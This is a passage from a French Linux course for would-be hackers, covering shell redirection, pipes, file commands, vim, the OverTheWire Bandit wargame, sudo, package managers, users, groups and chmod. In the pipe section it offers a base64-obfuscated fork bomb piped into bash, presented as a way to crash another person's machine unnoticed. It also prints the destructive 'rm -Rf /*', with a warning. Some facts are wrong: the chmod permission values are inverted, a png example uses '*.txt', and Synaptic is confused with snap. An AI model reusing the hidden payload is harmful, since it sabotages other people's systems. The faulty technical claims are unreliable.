i Les fichiers et dossiers que nous venons de créer avec ces deux lignes sont
absolument vierges de données, inutile donc d’y utiliser ls.

Je n’ai rien d’autre à ajouter sur ces deux programmes que le manuel ne pourra
pas vous détailler plus en profondeur…
Cependant, puisque vos fichiers sont absolument vides de tout texte, je vous
propose de commencer à écrire des bribes de textes en vous exposant le concept
de flux de redirection. Laissez-moi faire une métaphore filée pour vous l’expliquer.

Lorsque vous conduisez, et que vous avez à


vous rendre d’un point A à un point B, des
panneaux de directions sont là pour vous
guider. Ils vous indiquent la route à prendre
pour arriver à la bonne destination. Eh bine,
les flux de redirection, c’est un peu la
même chose, mais pour les fichiers. Le
panneau devient le flux, la destination, le
fichier vers lequel redirige le flux, et vous
conduisant votre voiture, les données à
rediriger.

En utilisant bien les flux, le résultat d’une


commande peut être inscrit dans un fichier
pour être étudié plus tard, comme il peut
être jeté à la poubelle si vous n’en avez pas
besoin. C’est à vous, de décider où est-ce
que vos données seront entreposées et
pour quelle raison. Vous êtes la société de
gestion des routes si l’on devait continuer
la métaphore filée jusqu’au bout.

29
Mais avant de rediriger quoique ce soit, il faudrait peut-être commencer par les
créer ces fameuses données. Pour ce faire, utilisons la commande echo qui
permet l’affichage de textes dans le terminal :

$ echo [texte]

En dehors d’un programme qui aurait des choses à dire à l’utilisateur (renvoyer un
résultat, annoncer une erreur), cette commande peut paraître inutile, cependant,
en plus de me permettre de parfaire ce cours, elle vous servira à l’avenir pour la
modification de vos fichiers de configurations sans avoir à les ouvrir avec un
éditeur. La syntaxe de ce genre d’opération est presque toujours la même :

$ echo [texte] > [fichier]

Le flux de redirection est représenté par le symbole > dans la ligne précédente, et
il restera toujours le même quand il s’agira d’écrire le résultat dans un nouveau
fichier, ou d’effacer le contenu d’un document existant pour le remplacer.
Des flux, il n’en existe pas qu’un seul, il y en a tout un tas, dont les utilisations
divergent en fonction du cas. Plusieurs pourront vous servir lorsque vous vous
retrouverez sur la machine d’une de vos futures victimes. Par exemple, il en existe
un pour inscrire le résultat de la commande à la fin du fichier :

$ echo [texte] >> [fichier_existant]

Si le fichier n’existait pas auparavant, pas d’inquiétudes ; le flux le créera de lui-


même, comme tous les autres. Ces deux redirections utilisent des données du
type « standard output » (sortie standard), car ce sont les données qui ne
contiennent aucune erreur particulière, à l’inverse des « standard errors »
(erreurs standards) qui elles sont des erreurs générées par les lignes que vous
avez écrites. Si vous en avez le besoin, il est possible de ne garder que les erreurs
dans un fichier texte, et de jeter le reste du résultat. Prenons cet exemple :

$ echo "J'aime le H4cK1nG" 2> erreurs.txt


$ cat erreurs.txt
$ eccho "J'aime le H4cK1nG" 2> erreurs.txt
$ cat erreurs.txt
bash: command not found: eccho

Dans un premier temps, l’interpréteur va exécuter la première ligne. Puisque c’est


une sortie standard qui est produit par echo, et que le seul flux de redirection
présent sur la ligne concerne les erreurs standards, echo affichera son texte à
l’utilisateur, et le fichier erreurs.txt sera créé, sans aucunes données à l’intérieur.
Dans un second temps, l’interpréteur, ici bash, voit une ligne avec une commande
nommée eccho. Puisqu’il ne la connaît pas, il ne va pas l’exécuter et va à la place
produire une erreur informant l’utilisateur de l’inexistence du programme. De

30
plus, il s’aperçoit qu’un flux redirigeant les erreurs standards est présent lors de
l’exécution, il va donc s’empresser d’écrire son message dans le fichier précisé.
Bien évidemment, les deux flux sont cumulables pour séparer les sorties des
erreurs standards :

$ echo "J'aime le H4cK1nG" > resultats.txt 2> erreurs.txt

Ici, la phrase souhaitée sera inscrite dans resultats.txt, et les erreurs, qui certes
ne seront pas présentes lors de l’exécution ici, seront retranscrites dans le fichier
erreurs.txt.
Si on met de côté les flux d’entrée, permettant de donner un fichier à une
commande, et dont l’utilité laisse à désirer puisque la grande majorité des
commandes acceptent directement les fichiers en tant qu’argument quand ils en
ont besoin, il existe un dernier flux de redirection que je voudrai vous présenter :
le tube ! Ce dernier, dont le nom vient de l’anglais pipeline, sert à transférer le
résultat d’une commande directement dans une autre, il agit réellement comme
un tuyau, redirigeant de commande en commande les précieuses données
produites. Restons avec notre nouvelle commande fétiche, echo, et ajoutons
quelques petits extras pour présenter le concept :

$ echo "J'aime le H4cK1nG" | base64

Ici, le texte produit en sortie standard par echo est transféré par le tube – le
symbole « | » dans la commande – jusqu’à la commande base64, qui va modifier
le texte pour l’encoder en base64 (de plus amples explications seront données sur
ce codage, retenez uniquement que cette commande va transformer nos données
comme indiqué dans ces explications). SI je tenais absolument à vous présenter
ce flux, c’est que son utilisation peut être utilisée à des fins malicieuses,
notamment en redirigeant du code malveillant et en l’exécutant à l’aide du tube.

Par exemple, si je voulais exécuter une fork bomb sur le système de quelqu’un
sans que cette personne ne s’en rende compte, j’utiliserai la ligne suivante :

$ echo "OigpeyA6fDomIH07Ogo=" | base64 -d | bash

! Ce code n’est pas si malveillant que ça, car il n’y aura aucun dommage sur
la machine, mais a le don d’énerver puisqu’il force le redémarrage complet.

Ici, le code base64 est déchiffré à l’aide du paramètre -d de la commande, puis


envoyé comme tel à l’interpréteur bash qui va se charger de lire le code.

i Ce code déchiffré est appelé fork bomb, c’est un code à créer des processus
en chaîne. Plus d’informations dans les pages concernant ces derniers.

31
IV. Lire un fichier
Nous avons déjà vu tout à l’heure une manière de lire un fichier avec la
commande cat. Même si je ne vous en avais pas parlé, vous vous doutiez bien
après avoir exécuté le code que ce programme servait à la lecture de fichier. Eh
bien, dans la réalité, cat est une commande beaucoup plus complexe que ça, car
elle ne sert pas qu’à la lecture de fichiers, mais à la concaténation de ceux-ci.

Si vous n’avez jamais entendu ce mot, c’est un peu normal, il est tombé en
désuétude dans la langue française, comme le mot « désuétude » lui-même.
Pourtant, l’utilité d’un tel concept est primordiale en informatique, car sans lui,
impossible de lier deux textes ou deux chaînes de caractères en un. La syntaxe de
cat devient donc un peu plus complexe puisqu’une infinité de fichiers peuvent
être sujets à la même opération de concaténation :

$ cat [fichier] (fichier) (fichier) ...

i Les arguments entre parenthèses ne sont pas obligatoires. Ici, l’ajout de


plus d’un fichier à la lecture n’est pas un impératif à la bonne exécution.

Le problème avec cat, c’est qu’en dehors de la concaténation de deux fichiers


dans un autre, son utilisation est peu pratique. En effet, lorsque la commande
imprime du texte, elle affiche l’entièreté du contenu d’un fichier d’un coup, ce qui
rend la lecture complexe, surtout lorsque l’on se trouve dans la console (le truc
immonde en deux couleurs, je suis sûr que vous n’avez pas oublié votre plus
grand cauchemar). Alors il existe bien des alternatives, comme lire les 10
premières lignes d’un fichier avec head :

$ head [fichier]

Ou lire les 10 dernières lignes avec tail :

$ tail [fichier]

i N’hésitez pas à lire le manuel pour plus d’options avec ces commandes.

Mais, in fine, le résultat reste le même en termes de praticité. Ce qu’il nous


faudrait, ce serait un petit programme faisant défiler les lignes au bon gré de
l’utilisateur. Cette commande existe, et elle s’appelle less, pas besoin de
tergiverser, voici sa syntaxe, ô combien claire et efficace :

$ less [fichier]

32
V. Supprimer des fichiers ou des dossiers
Dans le panel des actions à absolument maîtriser, il y a les classiques que nous
avons déjà vus, comme la création et l’édition de fichier, mais il en reste une qu’il
nous faut absolument étudier : la suppression définitive des fichiers et dossiers.

! Vérifiez bien à deux reprises avant de supprimer quoique ce soit, car ici, pas
de corbeilles ou de confirmations lorsque l’on travaille dans le terminal…

Ces deux actions requièrent l’utilisation de la commande rm, dont la syntaxe pour
les fichiers est la suivante :

$ rm [fichier]

Il n’y aura plus qu’à ajouter l’option -R et le nom du dossier en argument pour
supprimer un répertoire et tout son contenu (-d étant privilégié lors d’un vide) :

$ rm -R [dossier]

Si la commande rm est si dangereuse, c’est qu’elle peut mettre fin à


l’existence de votre système avec cette simple ligne :
! # rm -Rf /*

Je vais vous donner quelques menues explications sur la commande de l’encadré


ci-dessus, même si vous ne devez en aucun cas l’exécuter sur votre machine :

α -Rf est l’argument précisant que l’on désire supprimer un dossier et son
contenu (-R à la base) et qu’aucune confirmation ne soit demandée lors de
la suppression de fichiers sensibles (donné par -f).
α / représente la racine du système, je vous donnerai de plus amples
informations sur la racine et son comportement dans la partie sur les
disques.
α * est appelé joker, il sert à sélectionné tous les dossiers et fichiers présents
dans un répertoire, en l’occurrence ici, la racine du système. Servez-vous-
en, non seulement pour appliquer une modification sur tous les fichiers,
mais également pour ne trier que les fichiers commençant ou finissant par
tel nom.

Le joker a un véritable pouvoir de passe-partout. Avec, vous pourrez très

i bien supprimer tous les fichiers png (image) d’un dossier par exemple :

$ rm *.txt

33
VII. Éditer un fichier
Éditer un fichier, c’est le transformer pour qu’il ressemble à ce que l’on souhaite.
Vous l’avez déjà fait auparavant sur Windows, quand vous ouvriez le bloc note ou
une page Word. Quand on parle d’édition, on fait référence à la modification du
fichier, de son contenu ou bien de son contenant (son nom, ses métadonnées, sa
place, etc). Étudions une commande fortement intéressant permettant le
déplacement d’un fichier dans un autre dossier :

$ mv [fichier] [dossier]

Par exemple, si je désire déplacer livre.txt dans mes documents, je ferais :

$ mv livre.txt Documents/

mv fonctionne également le faire avec un chemin absolu :

$ mv [fichier] /chemin/vers/votre/dossier

Un chemin absolu par de la racine de l’ordinateur, il permet de déplacer des


fichiers vers une destination précise, peu importe l’endroit où l’on se trouve dans
le système de fichier.
Une autre commande bien pratique, assez proche de mv est cp. Cette dernière
permet de copier un fichier d’un dossier a vers un dossier b

$ cp [chemin1] [chemin2]

[chemin1] est le fichier à copier et [chemin2] est la destination que la copie va


prendre. Les deux routes peuvent être relatives ou absolues, cependant, faites
bien attention lors de la copie d’un dossier à rajouter un « / » à la fin de [chemin2]
pour éviter que son contenu ne soit remplacé par celui de [chemin1]

i Pensez à utiliser l’option -r pour copier des dossiers. Rappelez-vous de bien


lire le manuel pour connaître les tenants et aboutissants d’une commande.

Passons maintenant à la partie la plus intéressante de l’édition : la modification du


contenu des fichiers.

Pour ce faire, nous aurons besoin d’un éditeur de texte. Évidemment, utiliser un
éditeur classique et graphique comme Sublime Text, Atom ou Vscode est bien plus
pratique que ce que nous allons voir, mais le but finale de tout ceci est de pouvoir
éditer ses fichiers depuis la console, ce qui s’avéra très pratique lorsque vous
aurez pris le contrôle d’une machine et que l’édition d’un fichier devra être faite.

34
Commençons par découvrir l’éditeur Nano :

$ nano

Celui-ci est assez simple d’utilisation car il n’est pas vraiment très puissant. Pour
en sortir, il suffit de taper Ctrl + X, l’éditeur devrait alors vous proposer de
sauvegarder votre fichier puis de rentrer un nom.

Nano propose d’autres options qu’il vous liste dans la barre inférieure à votre
texte. De quoi pimenter un peu l’édition, mais rien de bien incroyable…

i Sur Linux, « ^ » veut dire Ctrl et « M- » veut dire Alt. Donc ^C veut dire Ctrl
+ c (minuscule) et M-U correspond à Alt + u.

Je sens que vous êtes resté un peu sur votre faim avec ce logiciel. Permettez-moi
donc de vous en présenter un autre : Vim. Vous pouvez le lancer avec :

$ vim

35
Vous arrivez devant un écran fourmillant d’informations en tout genre et je vous
conseille de le quitter en tapant :q

Il se peut que la commande ait renvoyé une erreur lors de l’exécution. Cela
veut dire que Vim n’est pas installé sur votre système. Pour y remédier,
tapez la commande suivante que nous expliquerons très prochainement :

! $ sudo apt update && sudo apt install vim -y

Renseignez votre mot de passe, ou celui que vous avez choisi pour l’admin
de la machine. Laissez le programme faire, et tentez une nouvelle fois Vim.

Retour à la normale… Ça fait peur, n’est-ce pas ? Pas d’inquiétude à avoir, Vim
dispose d’un programme vous permettant d’apprendre à l’utiliser, vous n’avez
qu’à exécuter la commande suivante et lire les instructions :

$ vimtutor

Suivez le guide à la lettre et vous deviendrez un professionnel de l’édition sur


Linux (rien que ça).

36
Comme je me sens d’une âme charitable aujourd’hui, je vous propose une petite
liste des différentes commandes de Vim :

Se déplacer et modifier du texte


Aller en haut, droite, bas, gauche jklh
Insérer sous le curseur i
Ajouter du texte sous le curseur a
Insérer en début de ligne I ou 0i
Ajouter en fin de ligne A ou $a
Supprimer des éléments
Supprimer sous le curseur x
Supprimer le mot à droite du curseur dw
Supprimer une ligne dd ou :dl
Quitter Vim
Quitter sans avoir modifié :q
Sortir en sauvegardant :wq
Quitter en abandonnant le travail fait :q!
Sauvegarder sans sortir :w
Édition pratique
Copier une ligne yy
Coller le résultat p
Annuler la modification précédente u
Revenir sur l’annulation Ctrl + r

Ne vous inquiétez pas, si la liste et longue, à force de pratique, vous arriverez à


maîtriser chacun de ces cas et serez un habitué de l’utilisation de Vim. Vous vous
rendrez compte qu’un temps inestimable sera gagné grâce à tous ces raccourcis.

Afin de vous aider à apprécier la programmation et l’édition sur Vim, changer un


peu son apparence va grandement contribuer à le rendre plus agréable :

curl -sLf https://spacevim.org/install.sh | bash

Je vous conseille également de vous servir de cet éditeur pour chaque édition que
vous ferez à l’avenir.

37
Session d’Exercices

Eh oui, il est temps de vous entraîner ! Toutes les informations que vous venez
d’ingurgiter doivent bien servir à quelque chose, et le mieux afin de les garder en
mémoire reste encore de les réutiliser.

Ainsi, je vous propose une série de trente-quatre exercices permettant de mettre


à l’épreuve vous premières connaissances en Linux. Enfin, je dis « je », mais je
devrais plutôt dire « OverTheWire vous propose ». En effet, ces petits défis très
connus sur le Web sont le fruit d’une communauté de passionné d’informatique,
et les faire tous, un à un, vous donnera les clefs d’une bonne compréhension des
systèmes Linux.

Les défis sont de plus en plus costauds au fur et à mesure, et s’éloigneront


! énormément de ce que je vous ai appris jusque-là. Cependant, essayez de
chercher un maximum, cela ne pourra vous être que bénéfique !

     ,----..            ,----,          .---.


    /   /   \         ,/   .`|         /. ./|
   /   .     :      ,`   .'  :     .--'.  ' ;
  .   /   ;.  \   ;    ;     /    /__./ \ : |
 .   ;   /  ` ; .'___,/    ,' .--'.  '   \' .
 ;   |  ; \ ; | |    :     | /___/ \ |    ' '
 |   :  | ; | ' ;    |.';  ; ;   \  \;      :
 .   |  ' ' ' : `----'  |  |  \   ;  `      |
 '   ;  \; /  |     '   :  ;   .   \    .\  ;
  \   \  ',  /      |   |  '    \   \   ' \ |
   ;   :    /       '   :  |     :   '  |--"
    \   \ .'        ;   |.'       \   \ ;
 www. `---` ver     '---' he       '---" ire.org

Voici l’adresse du site : https://overthewire.org/wargames/bandit/.

Le but du défi est très simple, vous commencez au niveau 0 – accessible sur le
panneau tenant la liste des niveaux à gauche de l’écran – et votre but est de
parvenir au niveau 1 en récupérant un mot de passe vous permettant d’y accéder.
tire-pale
À chaque niveau, vous aurez à vous connecter sur une machine avec un nom
d’utilisateur différent. Pour ce faire, il faudra utiliser une application bien pratique
et très utilisé sur Linux : SSH, pour Secure SHell.

Puisque j’ai comme objectif de vous faire parvenir à un certain niveau dans la
sécurité informatique, je vous donne la solution du premier niveau afin que vous

38
ne baissiez pas les bras directement. Si à l’avenir, vous vous retrouvez bloqué
pendant un très long moment sur un niveau, surtout n’abandonnez pas, ces défis
sont faits pour que vous ayez à rechercher de la documentation en grand nombre.

SSH est un service (nous reviendrons sur cette notion dans un chapitre dédié) et
nous nous somme un client qui tente de consulter ce service. Il nous faut donc un
logiciel pour bénéficier de tous les avantages de ce qu’a à nous offrir le service.
Heureusement, le logiciel client SSH est livré directement dans n’importe quelle
bonne distribution de Linux, vous n’aurez donc pas à l’installer !

La syntaxe est la suivante :

$ ssh [utilisateur]@[hôte] (-p [port])

Je ne vous expliquerai pas la signification profonde de ces lignes car nous


reviendrons dessus, retenez uniquement que pour vous connecter au premier
niveau, il faudra taper :

$ ssh bandit0@bandit.labs.overthewire.org -p 2220

Et que pour le niveau suivant, la commande sera :

$ ssh bandit1@bandit.labs.overthewire.org -p 2220

Lorsque vous vous connectez pour la première fois à la machine, SSH vous
demande si vous voulez vraiment vous connecter à la machine :

Are you sure you want to continue connecting (yes/no/[fingerprint])?

Tapez « yes », puis validez avec [Entrée]. Le logiciel vous demande ensuite de
taper un mot de passe. Comme indiquez ici, le mot de passe est : bandit0.

À partir de là, je vous laisse vous débrouiller ! N’oubliez pas que vous cherchez le
mot de passe du prochain défi, et que pour vous y connecter, il vous faudra
incrémenter le chiffre du nom d’utilisateur de 1.

i Afin de suivre correctement ce cours, vous n’êtes pas obligé de faire tous
les exercices proposés par OverTheWire. Allez au moins jusqu’au 11.

Bonne chance, j’espère que vous prendrez plaisir à faire ces défis !

39
Connexions, Permissions et Démons

Continuons sur notre lancée en abordant ce qui fait toute l’utilité d’une machine :
les processus, la gestion de multiples utilisateurs et la programmation. Au travers
de cette partie, nous ferons donc un tour vers Python afin que vous puissiez
maîtriser un premier langage de programmation. Cela vous permettra de gagner
en logique mathématique et en confiance pour vos projets.

Gérer les permissions

I. Le super utilisateur
Sur Linux comme sur Windows, il existe la possibilité d’avoir plusieurs utilisateurs
sur la même machine. Vous devez probablement être habitué à exécuter des
programmes en tant qu’administrateur, eh bien Linux délivre également cette
fonctionnalité ; cependant, celle-ci demeure fortement différente.

Sur les machines Linux, l’administrateur est appelé root. Il possède tous les droits
sur le système, c’est d’ailleurs de cette faculté qu’il tire son nom, root signifiant
« racine » en anglais. En effet, le super-utilisateur peut modifier le système de
fichier à partir de sa racine et écrire dans n’importe quel dossier, de ce fait, il est
la personne ayant le droit de vie ou de mort sur la machine (ainsi que sur les
données de tous les autres utilisateurs).

Restez toujours bien concentré lorsque vous utilisez les permissions et les
! pouvoirs du super-utilisateur. Une petite faute peut rapidement se
transformer en un enfer signant l’arrêt de mort du PC.

En tant que simple utilisateur, vos pouvoirs sont limités. Par exemple, tapez ceci :

$ cat /etc/sudoers

La commande vous renvoie une erreur de permission :

cat: /etc/sudoers: Permission denied

Afin de remédier à ce problème, nous allons acquérir les pouvoir du super-


utilisateur.

40
Au début de cet ouvrage, je vous avais conseillé d’être le maître de votre
! machine, ou du moins, de la partie sur Linux. Si ce n’est pas le cas, vous
aurez beaucoup de mal à effectuer les tâches en tant qu’administrateur.

Afin d’acquérir les précieuses permissions, il faut utiliser la commande suivante :

$ su

Le programme vous demande alors de rentrer un mot de passe :

Password:
root@ordinateur:/home/jean#

Vous voilà enfin root !


Ce qu’il y a de pratique dans l’utilisation du super-utilisateur sur Linux, c’est que
vous n’êtes pas obligé d’être constamment connecté avec cet utilisateur pour
utiliser ses privilèges, ce qui est un avantage indéniable au niveau de la sécurité.
Ainsi, pour obtenir les pleins pouvoirs, il ne suffit que de taper le mot sudo devant
n’importe quelle commande. Par exemple :

$ sudo cat /etc/sudoers

L’ordinateur vous demandera une nouvelle fois de renseigner votre mot de passe
pour continuer. S’il ne le fait pas, c’est que vous avez utilisé les privilèges de root
il n’y a pas si longtemps que ça.
Vous remarquerez que cette fois-ci, le système ne vous a pas renvoyé d’erreur,
tout c’est bien passé lors de l’exécution de la commande car vous aviez les
bonnes permissions au bon endroit.
Afin de passer de l’utilisateur au super-utilisateur, on préférera quand même cette
méthode qui induit beaucoup moins d’erreurs sur les systèmes :

$ sudo su

De même, vous remarquerez le # présent à la place du $ sur la ligne introduisant


votre instruction. Elle symbolise root, nous la mettrons donc au début des
commandes nécessitant de plus amples privilèges pour vous indiquer qu’il faudra
faire appel à votre toute puissance.

N’oubliez pas de quitter le mode super-utilisateur dès que vous n’en avez
! plus besoin. Son utilisation peut être dangereuse sur votre machine, et,
quelqu’un de malveillant pourrait passer après vous et en profiter.

41
II. Installer un programme depuis les sources
Maintenant que vous avez obtenu les privilèges de root, il est temps d’installer
vos premiers programmes sur la machine.

Sur n’importe quelle distribution Linux ouverte au grand public, on utilise ce que
l’on appelle un gestionnaire de paquets. Celui-ci va, à l’aide d’une base de
données regroupant l’ensemble des logiciels que vous pouvez installer, retrouver
l’adresse du programme que vous désirez et exécuter les instructions pour
l’installer à votre place.

Sur Ubuntu et les machines basées sur Debian, on utilise apt en guise de
gestionnaire. Son utilisation est très simple, même si elle peut parfois s’avérer
complexe lorsqu’il faut installer un paquet qui n’est plus disponible sur la base de
données. Il faudra alors se battre quelque peu avec le logiciel…

Avant toute utilisation, il faut mettre à jour la base de données, et le faire assez
régulièrement. Au moins une fois par semaine n’est pas de trop, car une base de
données non à jour vous redirigera vers des liens déplacés ou supprimés.

Ainsi, tapez cette commande pour la mettre à jour :

# apt update

! Cette commande est inefficace si vous avez choisi une autre distribution
qu’Ubuntu ou Debian. Inutile de vous arracher les cheveux pour cela.

Installer un paquet devient alors très simple, il suffit de taper la ligne suivante :

# apt install [paquet]

Remplacez paquet par le logiciel que vous désirez, par exemple cmatrix :

# apt install cmatrix

Et le tour est joué. Vous pourrez ainsi bénéficier de votre nouveau programme !

Afin d’essayer de m’adresser au plus grand nombre, je vais rajouter des détails
sur les procédures d’installation sur les autres distributions. Pour les personnes
ayant installé Manjaro ou Arch Linux, les commandes seront les suivantes :
Mettre à jour la base de données :

# pacman -Syu

42
Installer un paquet :

# pacman -S [paquet]
Les commandes pour désinstaller un paquet sur Ubuntu et Debian sera :

# apt remove [paquet]

Et elle ressemblera à ça pour les utilisateurs d’Arch et de Manjaro :

# pacman -Rns [paquet]

! En tant qu’utilisateur de Debian ou d’Ubuntu, vous n’avez pas à exécuter


les commandes avec pacman. Et inversement pour les autres avec apt.

Si vous êtes un utilisateur de Fedora, les commandes seront les mêmes


qu’avec apt, sauf qu’ici le gestionnaire s’appelle dnf. Par exemple :

i # dnf install cmatrix

Cette ligne installera cmatrix sur votre système. Pour plus d’informations,
n’hésitez pas à lire la doc : https://docs.fedoraproject.org/fr/quick-docs/dnf/.

Ce qu’il y a de pratique sur Linux, c’est que les possibilités sont infinies dans
l’exécution d’une seule et même tâche. Le vieux gestionnaire de paquet apt-get
avait déjà laissé sa place à apt que voici un nouveau concurrent dans la liste des
gestionnaires de paquets : Synaptic.

Ce gestionnaire a l’avantage d’être disponible sur tous les systèmes Linux, mais
cela est aussi la raison de sa faiblesse, ses problèmes d’optimisation. Synaptic est
lent, très lent, tout aussi lent qu’il est pratique d’y installer des paquets. En effet,
le logiciel dispose d’une interface graphique en plus de celle par ligne de
commande.

Ici pas de base de données à mettre à jour, juste un gestionnaire avec des
commandes claires. Par exemple, pour Installer un paquet on utilisera :

# snap install [paquet]

Cependant, Synaptic doit être installé au préalable avec votre gestionnaire de


paquets de base, sans quoi il ne fonctionne pas.

43
L’interface graphique est-elle beaucoup plus facile à appréhender pour un novice.
Je vous laisse faire sa connaissance en tapant, depuis le terminal ou le menu
démarrer, la commande :

$ gnome-software

i À proprement parler, gnome-software n’est pas snap, mais beaucoup de


paquet de snap viennent de cet endroit chaleureux et accueillant.

Si un programme n’est pas installable depuis les sources, il a de fortes chances


que vous puissiez le trouver sur GitHub ou sur SourceForge. Dans ces cas-là, de
nombreuses méthodes, ô combien différentes existent pour installer le logiciel en
question. Nous les verrons toutes dans une prochaine partie, car beaucoup
nécessitent des connaissances dans la gestion des permissions propres aux
fichiers que nous allons étudier, et aux utilisateurs qui peuvent les employer.

Avant de vous quitter pour cette partie, un dernier petit détail doit être fait

i pour les utilisateurs d’Arch et de Manjaro : un accès à des dépots plus


important est possible avec AUR. Vous obtiendrez plus d’informations sur le
wiki de Manjaro : https://wiki.manjaro.org/index.php/Arch_User_Repository/fr

44
III. Les utilisateurs et les groupes
Pour cette partie, nous allons créer un utilisateur et changer ses droits. À la fin de
celle-ci, vous ne serez pas obligés de garder cette personne inutile. Le restant de
cette partie se fera avec root, vous savez donc ce qu’il vous reste à faire…

Notre ami Jean veut partager notre poste de travail fixe (le sien à brûler suite à
une mauvaise utilisation des privilèges d’administrateur). Bien évidemment,
conscient du risque que peut représenter Jean vis-à-vis des systèmes
informatiques qu’il peut toucher, vous décider de lui créer un endroit approprié
sur votre système. Commençons par créer un utilisateur, pour ce faire, nous
utiliserons la commande suivante :

# adduser [nom]

Ce qui donnera ici :

# adduser jean

L’ordinateur vous demande alors de taper le mot de passe de Jean et de rentrer


quelques informations (facultatives) sur lui. Une fois fait, le dossier personnel de
Jean se trouvera dans /home/jean.
Ne vous inquiétez pas pour la faiblesse du mot de passe de Jean, il pourra le
changer à tout moment avec la commande suivante :

$ passwd

En tant qu’administrateur système, vous pouvez également changer son mot de


passe en rajoutant son nom derrière la commande :

# passwd jean

Jean en tant qu’apprenti hacker souhaiterait utiliser la suite de logiciel Metasploit


(si vous ne l’avez pas installé, ce n’est pas grave, Metasploit n’est pas l’objet de
notre étude actuellement) à laquelle il a pour habitude de rajouter ses propres
programmes (un peu lourd ce Jean, vous devrez penser à revoir vos
fréquentations). Pour ce faire, il va falloir lui donner la permission d’écrire dans le
dossier /opt.

Un problème se pose, si vous donner les permissions du super utilisateurs à Jean,


il risque de reproduire les mêmes erreurs qu’il a commit sur sa propre machine
sur la vôtre. Une solution existe, les groupes ! Les groupes sont des listes
d’utilisateurs ayant des privilèges communs aux membres du groupe. En tant
qu’utilisateur, vous faites déjà partie de plusieurs groupes et vous pouvez en voir
la liste en tapant :

45
$ groups

Je ne m’étendrai pas sur la liste que vous avez en face des yeux puisqu’elle se
trouve être différente pour chaque utilisateur et est définie par les actions
entreprises sur la machine (programmes installés, privilèges obtenus, groupes
créés par la suite). De rapides recherches sur internet vous permettront de
comprendre à quoi servent les groupes auxquels vous êtes inscrits.

Vous pouvez également visualiser la liste de Jean :

$ groups jean

Créons donc un groupe auquel nous rajouterons Jean à l’aide de la commande


suivante :

# addgroup [nom]

Pour ma part, je vais créer le groupe avec le nom suivant :

# addgroup lesbg

Ajouter ce groupe à votre liste personnelle avec cette instruction :

# usermod -a -G [group] [utilisateur]

Ce qui donne pour Jean :

# usermod -a -G lesbg jean

Maintenant que Jean et moi sommes dans le même groupe, je n’ai plus qu’à dire
que le dossier /opt appartient au groupe à l’aide de la commande chown :

# chown -R :[group] [dossier]

Ce qui donnera l’instruction suivante dans notre cas :

# chown -R :lesbg /opt

Il ne reste plus qu’à accorder les droits de modifier, exécuter et lire les fichiers au
groupe, ce que l’on va apprendre à faire dans la prochaine partie.

i N’oubliez pas de supprimer Jean après avoir fini, à moins que vous ne
vouliez qu’il vous hante pour l’éternité. Cette ressource devrait vous aider.

46
IV. Changer les permissions pour un fichier
Une fois tous les groupes bien paramétrés, il va falloir changer les permissions
des fichiers que Jean voulait consulter. Cette partie est un peu complexe mais
reste l’une des plus importantes. Elle vous permettra ensuite de repérer très
facilement, dans un système de fichier, ce que vous pouvez ou non consulter,
exécuter ou modifier. Pour ceux ayant lu le manuel de la commande ls, ils ont pu
remarquer que l’option -l présentez un résultat assez particulier :

$ ls -l
drwxr-xr-x 2 jean jean 4096 avril 13 17:24 jean

Voici le résultat que j’obtiens dans mon dossier /home. Dans l’ordre :
α La partie qui va nous intéresser tout de suite, à savoir, les permissions que
possède le fichier (ou dossier, lien).
α Le nombre d’éléments présents dans ce dossier (. et .. comptent).
α L’utilisateur ayant la possession de l’élément
α Le groupe ayant la possession de l’élément
α La taille de l’élément en octet (4096 par défaut pour un dossier)
α La date de modification
α Le nom du dossier (ici, il s’agit du répertoire personnel de Jean)

Prêtons attention à la partie suivante : drwxr-xr-x


Je vais la découper en 4 pour vous expliquer à quoi correspond ce charabia :

Type Droit utilisateur Droit groupe Droit des autres


d rwx r-x r-x

Commençons par le type, cette part indique s’il s’agit d’un fichier, d’un dossier ou
d’un lien (l’alternative aux raccourcis sur Windows). Cette case peut prendre trois
valeurs : d, l, -. d veut dire que c’est un dossier, l signifie que c’est un lien et – que
c’est un fichier. Ainsi, en face de nous se trouve un dossier.
Le droit utilisateur est l’ensemble des permissions accordées à la personne ayant
la possession du dossier. Il s’exprime de la même manière que le droit du groupe
(permissions que possède le groupe ayant créé l’élément) et le droit des autres
utilisateurs (permissions des utilisateurs n’ayant aucuns rapports avec l’élément).
Ils existent trois autorisations que l’on peut accorder à un utilisateur (ou un
groupe) :

α Exécuter le fichier ⇒ (x)


α Lire le fichier ⇒ (r)
α Modifier le fichier ⇒ (w)

47
Elles sont classées de la plus basse à la plus haute…

Quand une de ces lettres est présente, cela veut donc dire que l’utilisateur (ou le
groupe) possède cette permission. Dans le cas contraire, il y aura un tiret (-) à la
place de la lettre. L’utilisateur Jean (propriétaire du répertoire Jean) a donc tous
les droits sur son répertoire personnel puisque les trois lettres (rwx) sont
présentes. Pour changer les permissions d’un utilisateur sur un élément :

$ chmod [valeur] [fichier/dossier/lien]

L’argument [valeur] peut prendre deux formes différentes, nous n’en verrons
qu’une seule afin d’abréger un peu.
Pour faire simple, chaque permission est associée à une valeur numérique. 1 pour
exécuter, 2 pour lire et 4 pour écrire (modifier). On peut additionner ces valeurs
pour donner de multiples permissions à un utilisateur.
Par exemple, si je veux donner l’accès à la lecture et à l’écriture à un document,
je vais devoir rentrer la valeur 4 (pour la modification) + 2 (pour la consultation) =
6 (lecture + écriture). Ce paramètre doit être exprimé avec trois chiffres, le
premier représentant les droits du possesseur, le second, ceux du groupe et le
dernier, l’accès accordé aux autres utilisateurs.
Ainsi, la valeur 666 permettra à l’utilisateur possédant le fichier, au groupe
possédant le fichier et à un utilisateur quelconque de pouvoir lire et modifier le
fichier. Elle donnera rw-rw-rw- comme chaîne de permission lorsque vous la
visualiserez avec ls.
Cependant, nous dévions un peu de la tâche de départ, offrir à Jean l’accès au
dossier /opt. Histoire de ne pas avoir à recommencer cette opération pour les
futurs utilisateurs de notre machine, on va donner les droits d’accès au groupe
directement (il n’y aura plus qu’à ajouter la personne dans le groupe pour qu’elle
ait accès à ces fichiers) à l’aide des paramètres de chmod :

$ chmod 775 /opt

Je ne peux malheureusement pas couvrir l’entièreté des commandes gérant les


droits des utilisateurs et de leurs groupes ici, faute de temps et d’envie… Je vous
recommande cependant, bien que le sujet n’intéresse pas grand monde (moi-
même ne suis pas en adoration devant ce genre de manipulation), de poursuivre
votre apprentissage dans ce domaine. En effet, lorsque vous vous retrouverez à
exploiter une machine, il sera nécessaire de faire ce qu’on appelle une escalade
de privilège, passant de simple utilisateur à root. Les quelques connaissances (qui
forment déjà une bonne base ceci-dit) qui sont en votre possession ne sont guère
